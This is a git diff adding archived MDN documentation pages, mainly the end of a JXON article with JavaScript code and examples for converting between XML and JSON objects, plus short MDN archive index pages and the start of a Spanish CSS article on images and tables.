+    if (oParentObj.constructor === String || oParentObj.constructor === Number || oParentObj.constructor === Boolean) {
+      oParentEl.appendChild(oXMLDoc.createTextNode(oParentObj.toString())); /* verbosity level is 0 or 1 */
+      if (oParentObj === oParentObj.valueOf()) { return; }
+    } else if (oParentObj.constructor === Date) {
+      oParentEl.appendChild(oXMLDoc.createTextNode(oParentObj.toGMTString()));
+    }
+
+    for (var sName in oParentObj) {
+      vValue = oParentObj[sName];
+      if (isFinite(sName) || vValue instanceof Function) { continue; } /* verbosity level is 0 */
+      if (sName === sValProp) {
+        if (vValue !== null &amp;&amp; vValue !== true) { oParentEl.appendChild(oXMLDoc.createTextNode(vValue.constructor === Date ? vValue.toGMTString() : String(vValue))); }
+      } else if (sName === sAttrProp) { /* verbosity level is 3 */
+        for (var sAttrib in vValue) { oParentEl.setAttribute(sAttrib, vValue[sAttrib]); }
+      } else if (sName.charAt(0) === sAttrsPref) {
+        oParentEl.setAttribute(sName.slice(1), vValue);
+      } else if (vValue.constructor === Array) {
+        for (var nItem = 0; nItem &lt; vValue.length; nItem++) {
+          oChild = oXMLDoc.createElement(sName);
+          loadObjTree(oXMLDoc, oChild, vValue[nItem]);
+          oParentEl.appendChild(oChild);
+        }
+      } else {
+        oChild = oXMLDoc.createElement(sName);
+        if (vValue instanceof Object) {
+          loadObjTree(oXMLDoc, oChild, vValue);
+        } else if (vValue !== null &amp;&amp; vValue !== true) {
+          oChild.appendChild(oXMLDoc.createTextNode(vValue.toString()));
+        }
+        oParentEl.appendChild(oChild);
+      }
+    }
+
+  }
+
+  /* Uncomment the following code if you want to enable the .appendJXON() method for *all* the "element" objects! */
+
+  /*
+
+  Element.prototype.appendJXON = function (oObjTree) {
+    loadObjTree(document, this, oObjTree);
+    return this;
+  };
+
+  */
+
+  this.build = function (oXMLParent, nVerbosity /* optional */, bFreeze /* optional */, bNesteAttributes /* optional */) {
+    const nVerbMask = arguments.length &gt; 1 &amp;&amp; typeof nVerbosity === "number" ? nVerbosity &amp; 3 : /* put here the default verbosity level: */ 1;
+    return createObjTree(oXMLParent, nVerbMask, bFreeze || false, arguments.length &gt; 3 ? bNesteAttributes : nVerbMask === 3);
+  };
+
+  this.unbuild = function (oObjTree, sNamespaceURI /* optional */, sQualifiedName /* optional */, oDocumentType /* optional */) {
+    const oNewDoc = document.implementation.createDocument(sNamespaceURI || null, sQualifiedName || "", oDocumentType || null);
+    loadObjTree(oNewDoc, oNewDoc, oObjTree);
+    return oNewDoc;
+  };
+
+  const
+    sValProp = "keyValue", sAttrProp = "keyAttributes", sAttrsPref = "@", /* you can customize these values */
+    aCache = [], rIsNull = /^\s*$/, rIsBool = /^(?:true|false)$/i;
+
+})();
+</pre>
+
+<div class="note" id="const_compatibility"><strong>Note:</strong> The current implementation of <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> (constant statement) <strong>is not part of ECMAScript 5</strong>. It is supported in Firefox &amp; Chrome (V8) and partially supported in Opera 9+ and Safari. <strong>It is not supported in Internet Explorer 6-9, or in the preview of Internet Explorer 10</strong>. <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> is going to be defined by ECMAScript 6, but with different semantics. Similar to variables declared with the <a href="/en/JavaScript/Reference/Statements/let" title="en/JavaScript/Reference/Statements/let"><code>let</code></a> statement, constants declared with <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> will be block-scoped. <strong>We used it only for didactic purpose. If you want a full browser compatibility of this library, please replace all the <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> statements with the <a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var"><code>var</code></a> statements.</strong></div>
+
+<h3 id="Usage">Usage</h3>
+
+<p>The obtained non-native <code>JXON</code> global object will have two methods:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><a href="#JXON.build_syntax" title="JXON.build"><code>JXON.build(<em>document</em>[, <em>verbosity</em>[, <em>freeze</em>[, <em>nesteAttributes</em>]]])</code></a></td>
+   <td>Returns a JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> based on the given XML Document.</td>
+  </tr>
+  <tr>
+   <td><a href="#JXON.unbuild_syntax" title="JXON.unbuild"><code>JXON.unbuild(<em>objTree</em>[, <em>namespaceURI</em>[, <em>qualifiedNameStr</em>[, <em>documentType</em>]]])</code></a></td>
+   <td>Returns an XML <a href="/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a> based on the given JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>These methods are inverses of each other. So, you can work with the <code>JXON</code> object by inserting the previous code at the beginning of your scripts. If you are not interested in a bidirectional conversion, don't use it, use only one of our algotithm instead.</p>
+
+<p>Sample usage:</p>
+
+<pre class="brush: js notranslate">var myObject = JXON.build(doc);
+// we got our javascript object! try: alert(JSON.stringify(myObject));
+
+var newDoc = JXON.unbuild(myObject);
+// we got our Document instance! try: alert((new XMLSerializer()).serializeToString(newDoc));</pre>
+
+<p>…the same thing using AJAX:</p>
+
+<pre class="brush: js notranslate">function reqListener () {
+
+    var myObject = JXON.build(this.responseXML);
+    // we got our javascript object!
+    alert(JSON.stringify(myObject));
+
+    var newDoc = JXON.unbuild(myObject);
+    // we got our Document instance!
+    alert((new XMLSerializer()).serializeToString(newDoc));
+
+};
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "example.xml", true);
+oReq.send();</pre>
+
+<h4 id="JXON.build_syntax">JXON.build syntax</h4>
+
+<p><code>JXON.build(<a href="#JXON_build-document" title="JXON.build – @document"><em>document</em></a>[, <a href="#JXON_build-verbosity" title="JXON.build – @verbosity"><em>verbosity</em></a>[, <a href="#JXON_build-freeze" title="JXON.build – @freeze"><em>freeze</em></a>[, <a href="#JXON_build-nesteAttributes" title="JXON.build – @nesteAttributes"><em>nesteAttributes</em></a>]]])</code></p>
+
+<h4 id="JXON.build_description">JXON.build description</h4>
+
+<p>Returns a JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> based on the given XML Document.</p>
+
+<h4 id="JXON.build_parameters">JXON.build parameters</h4>
+
+<dl>
+ <dt><code id="JXON_build-document">document</code></dt>
+ <dd>The XML document to be converted into JSON format.</dd>
+ <dt><code id="JXON_build-verbosity">verbosity</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>The verbosity level of conversion (optional), from <code>0</code> to <code>3</code>. It is almost equivalent to our algorithms from <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">#4</a> to <a href="#Algorithm_.231.3A_a_verbose_way" title="Go to JXON algorithm #1">#1</a> (default value is <code>1</code>, which is equivalent to the <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">algorithm #3</a>).</dd>
+ <dt><code id="JXON_build-freeze">freeze</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>A boolean (optional) expressing whether the created object must be <a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/JavaScript/Reference/Global_Objects/Object/freeze">freezed</a> or not (default value is <code>false</code>).</dd>
+ <dt><code id="JXON_build-nesteAttributes">nesteAttributes</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>A boolean (optional) expressing whether the the <code>nodeAttributes</code> must be nested into a child-object named <code>keyAttributes</code> or not (default value is <code>false</code> for verbosity levels from <code>0</code> to <code>2</code>; <code>true</code> for verbosity level <code>3</code>).</dd>
+</dl>
+
+<h4 id="JXON.unbuild_syntax">JXON.unbuild syntax</h4>
+
+<p><code>JXON.unbuild(<a href="#JXON_unbuild-objTree" title="JXON.unbuild – @objTree"><em>objTree</em></a>[, <a href="#JXON_unbuild-namespaceURI" title="JXON.unbuild – @namespaceURI"><em>namespaceURI</em></a>[, <a href="#JXON_unbuild-qualifiedNameStr" title="JXON.unbuild – @qualifiedNameStr"><em>qualifiedNameStr</em></a>[, <a href="#JXON_unbuild-documentType" title="JXON.unbuild – @objTree"><em>documentType</em></a>]]])</code></p>
+
+<h4 id="JXON.unbuild_description">JXON.unbuild description</h4>
+
+<p>Returns an XML Document based on the given JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a>.</p>
+
+<h4 id="JXON.unbuild_parameters">JXON.unbuild parameters</h4>
+
+<dl>
+ <dt><code id="JXON_unbuild-objTree">objTree</code></dt>
+ <dd>The JavaScript Object from which you want to create your XML Document.</dd>
+ <dt><code id="JXON_unbuild-namespaceURI">namespaceURI</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>Is a <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="A UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> containing the namespace URI of the document to be created, or <code>null</code> if the document doesn't belong to one.</dd>
+ <dt><code id="JXON_unbuild-qualifiedNameStr">qualifiedNameStr</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>Is a <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="A UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> containing the qualified name, that is an optional prefix and colon plus the local root element name, of the document to be created.</dd>
+ <dt><code id="JXON_unbuild-documentType">documentType</code> <span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>Is the <a class="internal" href="https://developer.mozilla.org/En/DOM/DocumentType" title="En/DOM/DocumentType"><code>DocumentType</code></a> of the document to be created. It defaults to <code>null</code>.</dd>
+</dl>
+
+<h3 id="Extend_the_native_Element.prototype_object">Extend the native <code><a href="/en-US/docs/Web/API/element" title="/en-US/docs/Web/API/element">Element</a>.prototype</code> object</h3>
+
+<p>If you want to enable the <code>.appendJXON()</code> method for all the native <a href="/en-US/docs/Web/API/element"><code>element</code></a> objects, you can uncomment the following code from the JXON library:</p>
+
+<pre class="brush: js notranslate">  /* Uncomment the following code if you want to enable the .appendJXON() method for *all* the "element" objects! */
+
+  /*
+
+  Element.prototype.appendJXON = function (oObjTree) {
+    loadObjTree(document, this, oObjTree);
+    return this;
+  };
+
+  */</pre>
+
+<h4 id="Example">Example</h4>
+
+<p>Imagine you want to populate the following <a href="/en-US/docs/Web/API/HTMLElement"><code>HTMLElement</code></a> through JSON:</p>
+
+<pre class="brush: html notranslate">&lt;div id="form_container"&gt;&lt;/div&gt;</pre>
+
+<p>Then, the following code:</p>
+
+<pre class="brush: js notranslate">document.getElementById("form_container").appendJXON({
+  "form": {
+    "script": {
+      "@type": "text/javascript",
+      "keyValue": "\n  function numbersOnly (oToCheckField, oKeyEvent) {\n  return oKeyEvent.charCode === 0 || /\\d/.test(String.fromCharCode(oKeyEvent.charCode));\n  }\n"
+    },
+    "input": [{
+      "@type": "hidden",
+      "@name": "instId",
+      "@value": 1234
+    }, {
+      "@type": "hidden",
+      "@name": "currency",
+      "@value": "GBP"
+    }, {
+      "@type": "hidden",
+      "@name": "amount",
+      "@value": 0
+    }, {
+      "@type": "hidden",
+      "@name": "name",
+      "@value": "CAPTURED"
+    }],
+    "table": {
+      "tr": [{
+        "th": {
+          "@style": "text-align: right;",
+          "keyValue": "Product:"
+        },
+        "td": {
+          "span": [{
+            "input": {
+              "@type": "radio",
+              "@name": "nome",
+              "@id": "rel_tshirt",
+              "@value": "tshirt"
+            },
+            "label": {
+              "@for": "rel_tshirt",
+              "keyValue": "T-Shirt"
+            },
+            "@class": "product"
+          }, {
+            "input": {
+              "@type": "radio",
+              "@name": "nome",
+              "@id": "rel_trousers",
+              "@value": "trousers"
+            },
+            "label": {
+              "@for": "rel_trousers",
+              "keyValue": "Trousers"
+            },
+            "@class": "product"
+          }, {
+            "input": {
+              "@type": "radio",
+              "@name": "nome",
+              "@id": "rel_pullover",
+              "@value": "pullover"
+            },
+            "label": {
+              "@for": "rel_pullover",
+              "keyValue": "Pullover"
+            },
+            "@class": "product"
+          }]
+        }
+      }, {
+        "th": {
+          "@style": "text-align: right;",
+          "keyValue": "Quantity:"
+        },
+        "td": {
+          "input": {
+            "@type": "text",
+            "@name": "myInput",
+            "@onkeypress": "return numbersOnly(this, event);",
+            "@onpaste": "return false;"
+          }
+        }
+      }]
+    },
+    "p": {
+      "input": {
+        "@type": "submit",
+        "@value": "Purchase!"
+      }
+    },
+    "@action": "https://secure-test.worldpay.com/wcc/purchase",
+    "@name": "BuyForm",
+    "@method": "POST"
+  }
+});</pre>
+
+<p>will populate the previous element in the following way:</p>
+
+<pre class="brush: html notranslate">&lt;div id="form_container"&gt;
+  &lt;form action="https://secure-test.worldpay.com/wcc/purchase" name="BuyForm" method="POST"&gt;
+    &lt;script type="text/javascript"&gt;
+      function numbersOnly(oToCheckField, oKeyEvent) {
+        return oKeyEvent.charCode === 0 || /\d/.test(String.fromCharCode(oKeyEvent.charCode));
+      }
+    &lt;/script&gt;
+    &lt;input type="hidden" name="instId" value="1234" /&gt;
+    &lt;input type="hidden" name="currency" value="GBP" /&gt;
+    &lt;input type="hidden" name="amount" value="0" /&gt;
+    &lt;input type="hidden" name="name" value="CAPTURED" /&gt;
+    &lt;table&gt;
+      &lt;tr&gt;
+        &lt;th style="text-align: right;"&gt;Product:&lt;/th&gt;
+        &lt;td&gt;&lt;span class="product"&gt;&lt;input type="radio" name="nome" id="rel_tshirt" value="tshirt"/&gt;&lt;label for="rel_tshirt"&gt;T-Shirt&lt;/label&gt;&lt;/span&gt;&lt;span class="product"&gt;&lt;input type="radio" name="nome" id="rel_trousers" value="trousers"/&gt;&lt;label for="rel_trousers"&gt;Trousers&lt;/label&gt;&lt;/span&gt;&lt;span class="product"&gt;&lt;input type="radio" name="nome" id="rel_pullover" value="pullover"/&gt;&lt;label for="rel_pullover"&gt;Pullover&lt;/label&gt;&lt;/span&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;th style="text-align: right;"&gt;Quantity:&lt;/th&gt;
+        &lt;td&gt;
+          &lt;input type="text" name="myInput" onkeypress="return numbersOnly(this, event);" onpaste="return false;" /&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+    &lt;/table&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Purchase!" /&gt;
+    &lt;/p&gt;
+  &lt;/form&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Other_examples">Other examples</h3>
+
+<h4 id="Example_1_How_to_use_JXON_to_create_an_HTML_document_instead_of_an_XML_document">Example #1: How to use JXON to create an HTML document instead of an XML document:</h4>
+
+<pre class="brush: js notranslate">/* The structure of my document */
+var oMyHTMLStruct = {
+  "html": {
+    "head": {
+      "meta": {
+        "@http-equiv": "Content-Type",
+        "@content": "text/html; charset=UTF-8"
+      },
+      "title": "My HTML Document",
+      "script": {
+        "@type": "text/javascript",
+        "keyValue": "alert(\"Welcome!\");"
+      },
+      "style": "p:first-letter {\n  font: italic bold 30px Georgia, serif;\n}"
+    },
+    "body": {
+      "h1": "My HTML Document",
+      "p": "Hello world!!"
+    }
+  }
+};
+
+/* Create the document */
+var oMyHTMLDoc = JXON.unbuild(oMyHTMLStruct, "http://www.w3.org/1999/xhtml");</pre>
+
+<p>…And here is the output of <code>alert((new XMLSerializer()).serializeToString(oMyHTMLDoc))</code>:</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+
+&lt;head&gt;
+  &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+  &lt;title&gt;My HTML Document&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+    alert("Welcome!");
+  &lt;/script&gt;
+  &lt;style&gt;
+    p:first-letter {
+      font: italic bold 30px Georgia, serif;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;h1&gt;My HTML Document&lt;/h1&gt;
+  &lt;p&gt;Hello world!!&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+
+<div class="note"><strong>Note:</strong> As we already said in <a href="#ordering-lossless-note">the note within <em>Code considerations</em></a>, despite the bidirectional conversion between XML and JSON <strong>is</strong> lossless regarding the whole content and the structure of an XML document, it <strong>is not</strong> lossless regarding the ordering of elements, which for some XML dialects (like XHTML) is part of the information. For instance, a bidirectional conversion of the following HTML paragraph:
+
+<pre class="brush: html notranslate">&lt;p&gt;She &lt;strong&gt;loves&lt;/strong&gt; you. And definitely &lt;strong&gt;hates&lt;/strong&gt; me.&lt;/p&gt;</pre>
+would determine a result like the following:
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;loves&lt;/strong&gt;&lt;strong&gt;hates&lt;/strong&gt;Sheyou. And definitelyme.&lt;/p&gt;</pre>
+As you can see in this special case, the whole information is preserved, the ordering of the elements is not.<br>
+It turns out then that for some XML dialects JXON can be not the best choise, while it can be a really powerful tool in dealing with <em>standard XML</em>. One conversion method which is lossless for element order, as it relies on arrays (but, with a less human-readable, JavaScript-friendly syntax), is <a href="http://www.jsonml.org/" title="http://www.jsonml.org/">JsonML</a>.</div>
+
+<h3 id="About_this_library">About this library</h3>
+
+<p>The <code>JXON.build()</code> method summarizes all our four ways of conversion (see: <a href="#Algorithm_.231.3A_a_verbose_way" title="Go to JXON algorithm #1">#1</a>, <a href="#Algorithm_.232.3A_a_less_verbose_way" title="Go to JXON algorithm #2">#2</a>, <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">#3</a>, <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">#4</a>). The result is therefore the same of our four algorithms, depending on the level of verbosity utilised. As above, optional properties and methods (commented in the example) of the <a href="#Algorithm_.231.3A_a_verbose_way" title="Go to JXON algorithm #1">first algorithm</a> (verbosity level: 3) are not included.</p>
+
+<p>The <code>JXON.unbuild()</code> method utilises our <a href="#Reverse_algorithms" title="Reverse algorithms">reverse algorithm</a>.</p>
+
+<p>Therefore, <strong>all <a href="#Code_considerations" title="Code considerations">code considerations</a> remain the same</strong>.</p>
+
+<h2 id="Resources">Resources</h2>
+
+<ul>
+ <li><a href="http://code.google.com/p/xml2json-xslt/wiki/TransformingRules" title="TransformingRules – xml2json-xslt">The Parker Convention</a></li>
+ <li><a href="http://badgerfish.ning.com/" title="BadgerFish convention">The BadgerFish Convention</a></li>
+ <li><a href="http://www.balisage.net/Proceedings/vol7/html/Lee01/BalisageVol7-Lee01.html" title="JXON: an Architecture for Schema and Annotation Driven JSON/XML Bidirectional Transformations – Balisage: The Markup Conference 2011">JXON: an Architecture for Schema and Annotation Driven JSON/XML Bidirectional Transformations</a></li>
+ <li><a href="http://www.w3.org/TR/microdata/#json">Converting HTML to other formats: JSON (The World Wide Web Consortium)</a></li>
+ <li><a href="http://dinogambone.com/2012/jxon-a-simple-way-to-keep-xml-out-of-your-life/" title="JXON – A simple way to keep XML out of your life – Dino Gambone's blog">JXON – A simple way to keep XML out of your life – Dino Gambone's blog</a></li>
+ <li><a href="http://webreflection.blogspot.it/2008/07/jxon-lossless-javascript-to-xml-object.html" title="Web Reflection: JXON – Lossless JavaScript to XML Object Notation convertion">Web Reflection: JXON – Lossless JavaScript to XML Object Notation convertion</a></li>
+ <li><a href="http://davidwalsh.name/convert-xml-json" title="Convert XML to JSON with JavaScript – David Walsh Blog">Convert XML to JSON with JavaScript – David Walsh Blog</a></li>
+ <li><a href="http://goessner.net/download/prj/jsonxml/" title="http://goessner.net/download/prj/jsonxml/">http://goessner.net/download/prj/jsonxml/</a> – just another json2xml and xml2json conversion tool</li>
+ <li><a href="http://tawani.blogspot.it/2006/12/serialize-javascript-objects-to-xml-for.html" title="Serialize JavaScript objects to XML (for use with Ajax) – Tawani's Blog Rants">Serialize JavaScript objects to XML (for use with Ajax) – Tawani's Blog Rants</a></li>
+ <li><a href="http://www.kawa.net/works/js/xml/objtree-e.html" title="XML.ObjTree – XML source code from/to JavaScript object like E4X – Kawa.net">XML.ObjTree – XML source code from/to JavaScript object like E4X – Kawa.net</a></li>
+ <li><a href="http://www.jsonml.org/" title="http://www.jsonml.org/">JsonML</a> – a conversion method which is lossless for element order, as it relies on arrays.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/XML" title="en/XML">XML</a></li>
+ <li><a href="/en/JSON" title="en/JSON">JSON</a></li>
+ <li><a href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a href="/en/E4X" title="en/E4X">E4X (ECMAScript for XML)</a></li>
+ <li><a href="/en/Parsing_and_serializing_XML" title="en/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">How to Create a DOM tree</a></li>
+ <li><a href="/en/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="Introduction to Object-Oriented JavaScript">Introduction to Object-Oriented JavaScript</a></li>
+ <li><a href="/en/JavaScript/Guide/Working_with_Objects" title="Working with Objects">Working with Objects</a></li>
+ <li><a href="/en/XML_Introduction" title="en/XML_Introduction">XML Introduction</a></li>
+</ul>
diff --git a/files/es/archive/mdn/index.html b/files/es/archive/mdn/index.html
new file mode 100644
index 0000000000..95f78220b5
--- /dev/null
+++ b/files/es/archive/mdn/index.html
@@ -0,0 +1,16 @@
+---
+title: MDN
+slug: Archive/MDN
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/MDN
+---
+<p></p><div class="overheadIndicator obsolete obsoleteHeader"><p><strong><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsolete</strong><br>This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.</p></div><p></p>
+
+<p>The documentation listed below is archived, obsolete material about MDN itself.</p>
+
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Content_kits">Content kits</a></dt><dd class="landingPageList">MDN Content Kits are subject-based collections of technical resources to help you host a local developer meetup or give a technical presentation at an event, conference, or workshop.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Howto_Link_a_Github_account">How to link a GitHub account to your MDN profile</a></dt><dd class="landingPageList">All users who wish to contribute to MDN must add a GitHub login to their MDN account in order to edit. This article describes how to add GitHub authentication to your MDN profile.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Persona_sign-ins">MDN and Persona sign-ins</a></dt><dd class="landingPageList">Starting on November 1, 2016, we only support GitHub for logging into MDN. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please file an <a href="https://mzl.la/accounthelp">"Account Help" bug</a> on Bugzilla.</dd></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Subject-matter_experts">Subject-matter experts</a></dt><dd class="landingPageList">This article's purpose is to help writers find the Mozilla developers who have answers for questions about various technologies. If you're an engineer on any Mozilla project, <strong>please</strong> make sure your technology is on this list and that the contact information for your group is provided.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Zones">Zones</a></dt><dd class="landingPageList">A <strong>zone</strong> is a special area of MDN whose content is presented with some added user interface elements, such as a special zone navigation box and enhanced visuals in the header area of the page.</dd></dl></div>
+    </div><p></p>
diff --git a/files/es/archive/meta_docs/index.html b/files/es/archive/meta_docs/index.html
new file mode 100644
index 0000000000..b81d50a9bc
--- /dev/null
+++ b/files/es/archive/meta_docs/index.html
@@ -0,0 +1,15 @@
+---
+title: MDN "meta-documentation" archive
+slug: Archive/Meta_docs
+tags:
+  - Archive
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Meta_docs
+---
+<p>Here you'll find archived "meta-documentation"; that is, documentation about how to write documentation on MDN. The articles here are obsolete and should no longer be referenced; we are retaining them here for reference while we migrate some content to new places, but very little of this is useful.</p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/es/docs/Project%3AClases_CSS">Clases CSS</a></dt><dd class="landingPageList">Estas son las clases CSS que hemos definido para los wikis del MDC. Si por alguna razón necesitas una clase CSS a medida para las páginas que edites, puedes ponerte en contacto con <a href="/User:Dria">Dria</a>.</dd><dt class="landingPageList"><a href="/es/docs/Archive/Meta_docs/MDN_page_layout_guide">MDN page layout guide</a></dt><dd class="landingPageList">These guides supplement the <a href="/en-US/docs/MDN/Contribute/Content/Style_guide">MDN style guide</a> with specific layouts for the various types of pages on MDN. This helps contributors create new content that's structurally consistent with the rest of MDN.</dd></dl></dl></div>
+    <div class="section"><dl><dt></dt></dl></div>
+    </div><p></p>
diff --git a/files/es/archive/meta_docs/mdn_content_on_webplatform.org/index.html b/files/es/archive/meta_docs/mdn_content_on_webplatform.org/index.html
new file mode 100644
index 0000000000..efe6963c37
--- /dev/null
+++ b/files/es/archive/meta_docs/mdn_content_on_webplatform.org/index.html
@@ -0,0 +1,19 @@
+---
+title: MDN content on WebPlatform.org
+slug: Archive/Meta_docs/MDN_content_on_WebPlatform.org
+translation_of: Archive/Meta_docs/MDN_content_on_WebPlatform.org
+---
+<p><a href="http://www.webplatform.org/" title="http://www.webplatform.org/">Web Platform Docs</a> (WPD) is a site for documentation and education about Web standards, run by <a href="http://www.w3.org/" title="http://www.w3.org/">W3C</a> and supported by Mozilla, among others. Anyone is welcome to contribute content from MDN to WebPlatform.org, under the terms of MDN's <a href="http://creativecommons.org/licenses/by-sa/2.5/" title="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons Share-Alike 2.5</a> (CC-BY-SA) license. Content that originates from MDN must be attributed to MDN, with a link to the source article. The Web Platform Docs site provides support for doing this in a systematic way.</p>
+
+<p>If you create an account on WPD and create a new page, you’ll see that there is an option in the "new page" form to indicate that the content you’re contributing came from MDN, and to provide the original URL on MDN. There is also a way on WPD to mark <em>sections</em> of articles as coming from MDN, for cases where they get merged into CC-BY content. (CC-BY is the default license for reuse on WPD.) The <a href="http://docs.webplatform.org/wiki/WPD:External_Attribution" title="http://docs.webplatform.org/wiki/WPD:External_Attribution">External Attribution</a> page on WebPlatform.org describes how to do all of that.</p>
+
+<h2 id="Questions">Questions?</h2>
+
+<dl>
+ <dt>About MDN or its content</dt>
+ <dd>Post them to <a href="https://discourse.mozilla-community.org/c/mdn">MDN's discussion forum</a>, or ask in <a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/devmo">#mdn on irc.mozilla.org</a>.</dd>
+ <dt>About Mozilla's license terms</dt>
+ <dd>Send e-mail to <a href="http://mailto:licensing@mozilla.org" title="http://mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</dd>
+ <dt>About Web Platform Docs, its content, its license, or its terms-of-use</dt>
+ <dd>Post them to the <a href="http://lists.w3.org/Archives/Public/public-webplatform/" title="http://lists.w3.org/Archives/Public/public-webplatform/">public-webplatform</a> mailing list, run by W3C, or ask in <a href="irc://irc.freenode.org/webplatform" title="irc://irc.freenode.org/webplatform">#webplatform on irc.freenode.org</a>.</dd>
+</dl>
diff --git a/files/es/archive/meta_docs/mdn_page_layout_guide/index.html b/files/es/archive/meta_docs/mdn_page_layout_guide/index.html
new file mode 100644
index 0000000000..018759b970
--- /dev/null
+++ b/files/es/archive/meta_docs/mdn_page_layout_guide/index.html
@@ -0,0 +1,10 @@
+---
+title: MDN page layout guide
+slug: Archive/Meta_docs/MDN_page_layout_guide
+translation_of: Archive/Meta_docs/MDN_page_layout_guide
+---
+<div class="threecolumns">
+<p><span class="seoSummary">These guides supplement the <a href="/en-US/docs/MDN/Contribute/Content/Style_guide">MDN style guide</a> with specific layouts for the various types of pages on MDN. This helps contributors create new content that's structurally consistent with the rest of MDN.</span></p>
+</div>
+
+<p></p><p><strong>There are no subpages at this time.</strong></p><p></p>
diff --git a/files/es/archive/misc_top_level/imágenes,_tablas_y_huecos_misteriosos/index.html b/files/es/archive/misc_top_level/imágenes,_tablas_y_huecos_misteriosos/index.html
new file mode 100644
index 0000000000..6c3febef05
--- /dev/null
+++ b/files/es/archive/misc_top_level/imágenes,_tablas_y_huecos_misteriosos/index.html
@@ -0,0 +1,97 @@
+---
+title: 'Imágenes, tablas y huecos misteriosos'
+slug: 'Archive/Misc_top_level/Imágenes,_tablas_y_huecos_misteriosos'
+tags:
+  - CSS
+  - Todas_las_Categorías
+translation_of: 'Archive/Misc_top_level/Images,_Tables,_and_Mysterious_Gaps'
+---
+<p> </p>
+<p>No importa cuándo hayas empezado a crear páginas web, es muy probable que tengas uno o más diseños basados en el clásico paradigma de "Tablas complicadas y muchas imágenes". Puede que hayas cortado algún logo para que encajara bien en el diseño, o usado un montón de GIF espaciadores de un píxel, los principios y peligros son los mismos. En el pasado, esta forma de maquetar funcionaba porque los navegadores creaban las celdas tan altas y anchas como la imagen que contenían.</p>
